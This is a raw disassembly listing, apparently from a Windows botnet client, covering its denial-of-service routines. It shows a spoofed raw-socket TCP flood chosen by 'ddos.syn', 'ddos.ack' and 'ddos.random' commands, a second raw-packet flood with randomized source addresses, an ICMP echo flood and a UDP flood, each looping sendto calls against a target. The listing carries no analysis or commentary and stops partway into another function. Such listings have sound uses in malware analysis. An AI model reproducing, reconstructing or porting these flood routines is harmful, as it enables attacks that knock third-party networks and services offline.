		add	esp, 14h


loc_412AE7:				; CODE XREF: sub_412A54+71j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_290]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_412A54	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_412B09(int,int,char *Str1,int,int)

sub_412B09	proc near		; CODE XREF: sub_412E40+40p

var_284		= byte ptr -284h
Dest		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
Dst		= byte ptr -8Ch
Src		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str1		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4	; WSAStartup
		test	eax, eax
		jz	short loc_412B49
		xor	eax, eax
		jmp	loc_412E3C
; ---------------------------------------------------------------------------


loc_412B49:				; CODE XREF: sub_412B09+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E34
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB634	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E2A
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB654	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB654	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB654	; htons
		mov	[ebp+var_12], ax
		call	_rand
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB654	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB650	; htonl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C19
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C19:				; CODE XREF: sub_412B09+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C35
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412B09+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6D
		call	_rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	_rand
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6D:				; CODE XREF: sub_412B09+10Ej
					; sub_412B09+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB654	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+Str1], ebx
		call	ds:dword_427134	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_427130	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	__allmul
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBB:				; CODE XREF: sub_412B09+2E2j
					; sub_412B09+2F0j
		mov	[ebp+var_4], bx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654	; htons
		mov	[ebp+var_14], ax
		call	_rand
		mov	edi, eax
		shl	edi, 10h
		call	_rand
		or	edi, eax
		push	edi
		call	dword_4CB654	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+Src], eax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_14]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_94]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_14]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB6B8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFE
		add	[ebp+Str1], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_427130	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E27
		jl	loc_412CBB
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E27
		jmp	loc_412CBB
; ---------------------------------------------------------------------------


loc_412DFE:				; CODE XREF: sub_412B09+2CBj
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_436214 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_412E2A
; ---------------------------------------------------------------------------


loc_412E27:				; CODE XREF: sub_412B09+2E0j
					; sub_412B09+2EEj
		mov	ebx, [ebp+Str1]


loc_412E2A:				; CODE XREF: sub_412B09+78j
					; sub_412B09+31Cj
		push	[ebp+var_20]
		call	dword_4CB6EC	; closesocket
		pop	esi


loc_412E34:				; CODE XREF: sub_412B09+5Bj
		call	dword_4CB5AC	; WSACleanup
		mov	eax, ebx


loc_412E3C:				; CODE XREF: sub_412B09+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B09	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_412E40(int,char *Str,char *Str1,int)

sub_412E40	proc near		; CODE XREF: sub_412A54+4Fp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
Str1		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AAFA
		push	[esp+10h+Str]	; Str
		mov	esi, eax
		call	_atoi
		push	[esp+14h+arg_C]	; Str
		mov	ebx, eax
		call	_atoi
		mov	edi, eax
		call	_rand
		cdq
		mov	ecx, 200h
		push	edi		; int
		idiv	ecx
		push	ebx		; int
		push	[esp+20h+Str1]	; Str1
		lea	eax, [edx+esi+100h]
		push	eax		; int
		push	esi		; int
		call	sub_412B09
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8F
		push	1
		pop	eax


loc_412E8F:				; CODE XREF: sub_412E40+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_412E40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E9E	proc near		; DATA XREF: sub_401ACD+6722o

Dest		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
Str		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_4CB6D4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_412F39
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_436314 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_412F1C
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409A73
		add	esp, 14h


loc_412F1C:				; CODE XREF: sub_412E9E+5Cj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_38]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4270CC	; ExitThread


loc_412F39:				; CODE XREF: sub_412E9E+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4CB634	; setsockopt


loc_412F4E:				; DATA XREF: .data:off_43A86Co
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412FB0
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4362E4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_412F93
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409A73
		add	esp, 14h


loc_412F93:				; CODE XREF: sub_412E9E+D3j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_38]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4270CC	; ExitThread


loc_412FB0:				; CODE XREF: sub_412E9E+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CB694	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413017
		lea	eax, [ebp+Dest]
		push	offset asc_4362C4 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_412FFA
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409A73
		add	esp, 14h


loc_412FFA:				; CODE XREF: sub_412E9E+13Aj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_38]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4270CC	; ExitThread


loc_413017:				; CODE XREF: sub_412E9E+122j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	edi
		call	dword_4CB654	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CB694	; inet_addr
		mov	esi, ds:dword_4270A8
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_413055:				; CODE XREF: sub_412E9E+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_413200
		push	41Ch
		mov	byte_4CE3C8, 45h
		call	dword_4CB654	; htons
		cmp	[ebp+var_2C], edi
		mov	word_4CE3CA, ax
		mov	word_4CE3CC, bx
		mov	word_4CE3CE, di
		mov	byte_4CE3D0, 80h
		mov	byte_4CE3D1, bl
		mov	word_4CE3D2, di
		jz	short loc_4130DB
		call	_rand
		mov	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		push	1
		mov	dword_4CE3D4, ebx
		pop	ebx
		jmp	short loc_4130F3
; ---------------------------------------------------------------------------


loc_4130DB:				; CODE XREF: sub_412E9E+20Bj
		push	[ebp+var_1BC]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694	; inet_addr
		mov	dword_4CE3D4, eax


loc_4130F3:				; CODE XREF: sub_412E9E+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_4CE3D8, eax
		call	_rand
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4CE3DC, dl
		call	_rand
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4CE3DD, dl
		call	_rand
		cdq
		mov	ecx, 0F0h
		push	400h		; Size
		idiv	ecx
		mov	word_4CE3DE, di
		mov	word_4CE3E2, bx
		inc	edx
		mov	word_4CE3E0, dx
		call	_rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx		; Val
		push	offset dword_4CE3E4 ; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4CE3C8
		push	[ebp+var_4]
		call	dword_4CB6B8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41318B
		inc	[ebp+arg_0]
		jmp	loc_413055
; ---------------------------------------------------------------------------


loc_41318B:				; CODE XREF: sub_412E9E+2E3j
		push	[ebp+var_4]
		call	dword_4CB6EC	; closesocket
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset asc_43627C ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_4131E3
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409A73
		add	esp, 14h


loc_4131E3:				; CODE XREF: sub_412E9E+323j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_38]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4270CC	; ExitThread


loc_413200:				; CODE XREF: sub_412E9E+1C8j
		push	[ebp+var_4]
		call	dword_4CB6EC	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_436230 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413268
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409A73
		add	esp, 14h


loc_413268:				; CODE XREF: sub_412E9E+3A8j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_38]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4270CC	; ExitThread
sub_412E9E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413285	proc near		; DATA XREF: sub_401ACD+5510o

var_10320	= byte ptr -10320h
Dest		= byte ptr -344h
var_144		= dword	ptr -144h
Str		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Dst		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_4CB5DC	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CB694	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4132E0
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CB6D8	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4132E6


loc_4132E0:				; CODE XREF: sub_413285+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_413343


loc_4132E6:				; CODE XREF: sub_413285+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_43636C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413326
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_144]	; int
		call	sub_409A73
		add	esp, 14h


loc_413326:				; CODE XREF: sub_413285+7Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_30]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4270CC	; ExitThread


loc_413343:				; CODE XREF: sub_413285+5Fj
		cmp	eax, ebx
		jz	short loc_413353
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_413356
; ---------------------------------------------------------------------------


loc_413353:				; CODE XREF: sub_413285+C0j
		mov	[ebp+var_4], esi


loc_413356:				; CODE XREF: sub_413285+CCj
		push	1Ch		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_413376
		mov	[ebp+var_3C], eax


loc_413376:				; CODE XREF: sub_413285+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_41337E
		mov	[ebp+var_38], edi


loc_41337E:				; CODE XREF: sub_413285+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_4133AB


loc_413385:				; CODE XREF: sub_413285+124j
		push	[ebp+var_38]
		lea	eax, [ebp+Dst]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4CB56C	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_413385


loc_4133AB:				; CODE XREF: sub_413285+FEj
		push	[ebp+arg_0]
		call	dword_4CB70C	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_436340 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_4133F4
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_144]	; int
		call	sub_409A73
		add	esp, 14h


loc_4133F4:				; CODE XREF: sub_413285+14Dj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_30]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread
sub_413285	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413411	proc near		; DATA XREF: sub_401ACD+575Co

var_10311	= byte ptr -10311h
var_10310	= byte ptr -10310h
Dest		= byte ptr -334h
var_134		= dword	ptr -134h
Str		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4CB6D4	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+Dst], 2
		push	eax
		call	dword_4CB694	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_4134F6
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_4CB6D8	; gethostbyname
		cmp	eax, edi
		jnz	short loc_4134EF
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4363C0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_4134D2
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_1C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_134]	; int
		call	sub_409A73
		add	esp, 14h


loc_4134D2:				; CODE XREF: sub_413411+9Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_20]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread


loc_4134EF:				; CODE XREF: sub_413411+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_4134F9
; ---------------------------------------------------------------------------


loc_4134F6:				; CODE XREF: sub_413411+6Ej
		lea	eax, [ebp+arg_0]


loc_4134F9:				; CODE XREF: sub_413411+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_413514
		call	_rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_413517
; ---------------------------------------------------------------------------


loc_413514:				; CODE XREF: sub_413411+F0j
		push	[ebp+var_24]


loc_413517:				; CODE XREF: sub_413411+101j
		call	dword_4CB654	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_413529
		mov	[ebp+var_24], esi


loc_413529:				; CODE XREF: sub_413411+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_413536
		mov	[ebp+var_24], eax


loc_413536:				; CODE XREF: sub_413411+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_41354A
		mov	[ebp+var_28], esi


loc_41354A:				; CODE XREF: sub_413411+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_41356B


loc_413551:				; CODE XREF: sub_413411+158j
		call	_rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi+var_10311], dl
		jl	short loc_413551


loc_41356B:				; CODE XREF: sub_413411+13Ej
					; sub_413411+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_4135CA
		push	0Bh
		pop	esi


loc_413578:				; CODE XREF: sub_413411+197j
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_4CB6B8	; sendto
		push	[ebp+var_28]
		call	ds:dword_427078	; Sleep
		dec	esi
		jnz	short loc_413578
		cmp	[ebp+var_24], edi
		jnz	short loc_41356B
		call	_rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4CB654	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_41356B
; ---------------------------------------------------------------------------


loc_4135CA:				; CODE XREF: sub_413411+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_436394 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_41360A
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_1C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_134]	; int
		call	sub_409A73
		add	esp, 14h


loc_41360A:				; CODE XREF: sub_413411+1D7j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_20]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4270CC	; ExitThread
sub_413411	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413627	proc near		; DATA XREF: sub_401ACD+4DEDo

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_190		= byte ptr -190h
var_110		= dword	ptr -110h
Str		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
